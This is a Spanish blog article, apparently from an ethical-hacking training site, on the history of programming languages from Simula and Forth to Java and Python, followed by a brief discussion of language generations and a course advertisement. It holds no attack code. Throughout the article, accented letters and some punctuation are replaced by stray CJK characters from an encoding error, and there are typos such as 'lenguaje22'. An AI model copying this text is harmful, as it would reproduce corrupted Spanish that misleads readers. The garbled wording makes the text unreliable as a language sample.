Basado en ALGOL, se trata del primer lenguaje orientado a objetos. Fue desarrollado por los noruegos Ole-Johan Dahl y Kristen Nygaard que buscaban un lenguaje adecuado para la simulaci贸n de eventos discretos (su nombre es una contracci贸n de Simulation Languaje). Su primer compilador estuvo disponible en 1964, para la serie 1100 de UNIVAC, si bien hasta 1967 no adquiri贸 una amplia funcionalidad. En la actualidad hay disponibles diversas versiones freeware de su compilador.

Programa Hola Mundo en Simula

Programa Hola Mundo en Simula

 

FORTH

Este lenguaje fue creado a finales a los 60 por Charles H. Moore, para controlar los radiotelescopios de Kitt Peak y procesar sus datos. Se trata de un lenguaje22 funcional e interactivo que ha ido evolucionando con el paso del tiempo. Debido a la poca memoria que ocupa y a su rapidez, fue uno de los primeros en difundirse entre los microcomputadoras.

Programa en Forth

Programa en Forth

 

LOGO

Logo es fruto de la influencia que recibi贸 Seymour Papert colaborando con el pedagogo Jean Piaget. En 1980, Papert lo divulg贸 en todo el mundo con su libro 铆Mindstorms: Children Computers and Powerful Ideas卯 (figura 9), fue muy bien acogido en los 谩mbitos educativos, especialmente en ense帽anza primaria y secundaria.

El objetivo de LOGO fue introducir en el mundo de la programaci贸n al alumnado de menor edad: “Que los ni帽os programen a los computadoras y no las computadoras a los ni帽os”

Programa Hola Mundo en Logo

Programa Hola Mundo en Logo

 

C

En 1970, Thompson desarroll贸 un lenguaje experimental, al que llam贸 B. Dos a帽os despu茅s, Ritchie se bas贸 en B para crear un nuevo lenguaje de prop贸sito general, que denomin贸 C. Como no depende de la arquitectura del hardware, C es uno de los lenguajes m谩s portables del mercado y, como adem谩s ofrece amplias prestaciones, su difusi贸n es ampl铆sima. A principios de los 80, Bjarne Stroustrup dise帽贸 una ampliaci贸n de C y, en 1984, la convirti贸 en un compilador que llam贸 C++, especialmente enfocado a la programaci贸n orientada a objetos.

Programa Hola Mundo en C

Programa Hola Mundo en C

 

PASCAL

A principios de los 70, el profesor suizo Niklaus Wirth, del Instituto Polit茅cnico Federal de Zurich, emprendi贸 la creaci贸n de un nuevo lenguaje (PASCAL) que permitiera introducirse en la programaci贸n de una forma f谩cil pero a la vez potente y, sobre todo, siguiendo unas pautas estructuradas. De hecho, PASCAL es el lenguaje m谩s sencillo que posibilita el acceso a la inform谩tica te贸rica: descomposici贸n modular, recursividad, punteros, etc.

PASCAL, surgi贸 como una derivaci贸n de ALGOL y evolucion贸 en DELPHI, que ampl铆a PASCAL a la programaci贸n visual en un intento por hacerle la competencia a Visual BASIC.

Programa Hola Mundo en Pascal

Programa Hola Mundo en Pascal

 

SMALLTALK

Creado por Alan Kay en el Centro de Investigaciones Xerox de Palo Alto, en los primeros 70, es un lenguaje muy influenciado por SIMULA, estando tambi茅n orientado a objetos. Tuvo sucesivas versiones (72, 76 y 80) y ofrece un entorno completo para el desarrollo de programas.

Programa Hola Mundo en Smalltalk

Programa Hola Mundo en Smalltalk

 

PROLOG

En 1972, Robert Kowalski (universidad de Edimburgo) y Alain Colmerauer y Phillippe Roussell (universidad de Aix-Marseille) expusieron la revolucionaria idea de que la l贸gica pod铆a emplearse como lenguaje de programaci贸n. Siguiendo esta l铆nea, al a帽o siguiente, el grupo de inteligencia artificial de la universidad de Aix-Marseille comenz贸 a dise帽ar ese lenguaje, al que se llam贸 PROLOG (PROgramation LOGique).

PROLOG es el prototipo de lenguaje declarativo por excelencia. 驴Y qu茅 es eso de declarativo? Todos los lenguajes que hemos ido viendo hasta ahora son algor铆tmicos; es decir, los computadoras se consideran m谩quinas de Turing a las que debemos indicar todos y cada uno de los pasos a seguir para realizar una cierta tarea.

Frente a estos lenguajes imperativos, los declarativos no est谩n basados en 贸rdenes sino en descripciones. En otras palabras, en los programas PROLOG se proporcionan al ordenador una serie de conocimientos sobre un tema, junto con una serie de reglas, y el programa nos contestar谩 todas aquellas preguntas que deseemos hacerle sobre el tema siempre que las respuestas puedan deducirse l贸gicamente de los conocimientos dados al inicio.

Como es f谩cil suponer, PROLOG no est谩 destinado al c谩lculo cient铆fico. Su aplicaci贸n en el campo de la inteligencia artificial, definiendo objetos y estableciendo relaciones, permite resolver problemas l贸gicos, desarrollar sistemas expertos, investigar en la comprensi贸n del lenguaje humano, etc.

Programa Hola Mundo en Prolog

Programa Hola Mundo en Prolog

 

ADA

ADA fue un segundo intento del Departamento de Defensa de Estados unidos por uniformar lenguajes de programaci贸n. Quince a帽os despu茅s de intentarlo con COBOL, percibi贸 que su objetivo no se hab铆a cumplido. Por ese motivo, en 1975 form贸 un grupo de trabajo para evaluar los lenguajes existentes en aquel entonces, como resultado se concluy贸 que ninguno de los lenguajes existentes cumplica con los criterios deseados por lo que se propuso la creaci贸n de un nuevo lenguaje de programaci贸n. La propuesta de Honeywell-Bull (Francia) fue la elegida, fue dise帽ado por un equipo encabezado por Jean Ichbiah. En un primer momento, se le dio el nombre de DoD-1 pero acab贸 cambi谩ndose por ADA, en honor de Ada Lovelace.

Los requisitos que deb铆a cumplir el nuevo lenguaje eran:

  • Deb铆a permitir el dise帽o de programas modulares y estructurados, de modo que fuesen f谩ciles de leer y de depurar.
  • Era necesario que gestionara sin problemas cualquier perif茅rico dado que deb铆a controlar instrumentos militares de todo tipo.
  • Ten铆a que aceptar el trabajo en paralelo, de modo que varios procesos se ejecutaran de forma simult谩nea o cuasisimult谩nea.

A pesar de los a帽os transcurridos desde entonces y a las mejoras que han ido introduci茅ndose en 茅l, lo cierto es que ADA no es un lenguaje popular, salvo por su nombre. Se le reprocha ser un tanto complejo, bastante estricto y s贸lo apropiado para el desarrollo de grandes programas.

Programa Hola Mundo en Ada

Programa Hola Mundo en Ada

 

JAVA

Este lenguaje, hoy en d铆a ampliamente utilizado en Internet, fue desarrollado en 1990 por James Gosling, de Sun Microsystems, bas谩ndose en C y C++. 驴Un lenguaje para Internet cuando, en aquella 茅poca, la Red estaba casi circunscrita al 谩mbito universitario? En realidad, el objetivo de Sun no ten铆a nada que ver con Internet; era crear un interfaz atractivo e intuitivo para electr贸nica de consumo (calculadoras, televisi贸n interactiva, etc.).

Sin embargo, la electr贸nica de consumo no evolucion贸 como se esperaba y, durante unos a帽os, el lenguaje de Gosling permaneci贸 aparcado, hasta que Bill Joy (cofundador de Sun) consider贸 que pod铆a ser interesante para Internet y propuso modificarlo para el nuevo medio. En agosto de 1995, ya con el nombre de JAVA, se present贸 en sociedad. A pesar de que JAVA resulta un tanto lento en su ejecuci贸n, es muy popular. Por un lado, es relativamente sencillo y bastante potente; adem谩s, es v谩lido para cualquier plataforma y, sobre todo, muy fiable y seguro, manteniendo alejado a los virus.

Programa Hola Mundo en Java

Programa Hola Mundo en Java

 

PYTHON

Python聽es un lenguaje de programaci贸n interpretado creado por Guido van Rossum en el a帽o 1991. A van Rossum le fue asignado un proyecto en el que ten铆a que desarrollar un sistema operativo distribuido llamado Amoeba, las condiciones en que se encontraba el CWI, es que ten铆a implementado un lenguaje de programaci贸n llamado ABC. Guido decidi贸 crear un nuevo lenguaje para el proyecto Amoeba, para superar las limitaciones y problemas con los que se encontr贸.

Se compara habitualmente con Tcl, Perl, Scheme, Java y Ruby. En la actualidad Python se desarrolla como un proyecto de c贸digo abierto, administrado por la Python Software Foundation.

La relevancia, soporte y difusi贸n que ha alcanzado Python en el 谩mbito de la seguridad inform谩tica y la programaci贸n Web lo hace estar en esta lista de lenguajes emblem谩ticos.

Programa Hola Mundo en Python

Programa Hola Mundo en Python

 

驴Cu谩l es el mejor lenguaje de programaci贸n?

Respuesta corta: No hay “un mejor lenguaje”, por ello existen cientos de lenguajes y siguen creando nuevos…

Dar茅 mi punto de vista personal para responder esta pregunta. Para responder esta pregunta cabr铆a preguntarte 驴Qu茅 deseas programar? 驴En donde? 驴De qu茅 recursos inform谩ticos cuentas? 驴Cu谩nto tiempo tienes para el desarrollo? 驴Qu茅 tan importante es la velocidad y tama帽o del programa?, as铆 podr铆a seguir con las preguntas.

Todo esto para decirte: No hay “mejor lenguaje” en t茅rminos universales, el mejor lenguaje siempre ser谩 el que m谩s conozcas, el que mejor se adapte para una tarea, el que aproveche mejor los recursos disponibles… En resumen, el mejor lenguaje de programaci贸n siempre ser谩 el que mejor se adapte para resolver un problema espec铆fico en un entorno espec铆fico.

Generaciones de lenguajes de programaci贸n

Finalizar茅 esta secci贸n haciendo menci贸n de lo que se denomina Generaciones de lenguajes de programaci贸n

La evoluci贸n de los lenguajes de programaci贸n se puede dividir en 5 etapas o generaciones.聽Cabe se帽alar que siempre el tema de las “Generaciones” se presta a controversias y discusiones (particularmente la cuarta y quita), en este caso me limito a mencionar las que en lo particular me parece la clasificaci贸n m谩s clara:

  • Primera generaci贸n: lenguaje maquina (basado en sistema binario).
  • Segunda generaci贸n: se crearon los primeros lenguajes ensambladores los cuales reemplazaban en c贸digo m谩quina con lenguaje simb贸lico y al igual que el lenguaje m谩quina estaba ligado con la m谩quina sobre la cual se ejecutaba.
  • Tercera generaci贸n: se crean los primeros lenguajes de alto nivel, los cuales reemplazaron los s铆mbolos por instrucciones parecidas al lenguaje humano o al de las聽Matem谩ticas y que son independientes de la m谩quina. Ej. Fortran, C, Pascal, Cobol.
  • Cuarta generaci贸n:聽Son los lenguajes capaces de generar c贸digo por si solos, son los llamados RAD, con lo cuales se pueden realizar aplicaciones sin ser un experto en el lenguaje. Aqu铆 tambi茅n se encuentran los lenguajes orientados a objetos, haciendo posible la reutilizaci贸n de partes del c贸digo para otros programas. Actualmente se discute si estas herramientas son, propiamente hablando, lenguajes. Ej. Todas las herramientas Visual, muchos incluyen en esta categor铆a a los lenguajes orientados a objetos
  • Quinta generaci贸n: Lenguajes orientados a la inteligencia artificial. aunque con el fracaso del聽proyecto japon茅s de la quinta generaci贸n聽el nombre ha ca铆do en desuso. Ej. LISP
Evoluci贸n de los lenguajes de programaci贸n

Evoluci贸n de los lenguajes de programaci贸n

 

Con este apartado concluye la secci贸n “hist贸rica”, introductoria y descriptiva, solo nos resta justificar en el siguiente cap铆tulo el lenguaje que hemos elegido desarrollar.

驴Te has quedado con ganas de conocer m谩s lenguajes? Si la respuesta es afirmativa, puedes darte un paseo por la Web Dictionary of Programming Languages, donde encontrar谩 referencias y comentarios sobre un centenar y medio de lenguajes

Recuerda, hay mucha informaci贸n 煤til interesante que no se ha incluido, te invito a realizar una b煤squeda en Internet de lo que te quede duda o que te inquiete, hay mucho por aprender.

Redacci贸n, composici贸n y desarrollo Por Roberto C. Gonz谩lez
Para Ethical Hack

 

 

驴Deseas aprender BIEN Seguridad Inform谩tica “desde el principio”?聽

Deseas participar en nuestro grupo de estudio para aplicar la certificaci贸n CEH

Obtendr谩s informaci贸n ampliada a la que has le铆do en este art铆culo, y material adicional, visita www.ehack.mx/cursos聽para m谩s informaci贸n o ecr铆benos a ceh@ehack.mx

 


Fuente Im谩genes:

“Evoluci贸n de los lenguajes de programaci贸n: by McLibre聽en聽McLibre
“Codigo m谩quina”: Imagen cortes铆a by聽Wikipedia
“Todas las im谩genes del programa Hola mundo”: Imagen cortes铆a by聽Wikipedia
“Hola Mundo en Plankalk眉l”: Imagen cortes铆a by Alberto Garc铆a聽en聽adslzone
“Lenguaje intermedio: El CLR de .Net”: Imagen cortes铆a by聽MSDN

En la elaboraci贸n de este art铆culo en la secci贸n de lenguajes de programaci贸n me apoy茅 de forma significativa en la obra: 聽Historia y evoluci贸n de los lenguajes de programaci贸n de Vicente Trigo Aranda

As铆 como algunas聽referencias de:

 

Licencia de Creative CommonsLenguajes de programaci贸n I y II by Roberto C. Gonz谩lez para Ethical Hack is licensed under a Creative Commons Reconocimiento-NoComercial-CompartirIgual 4.0 Internacional License.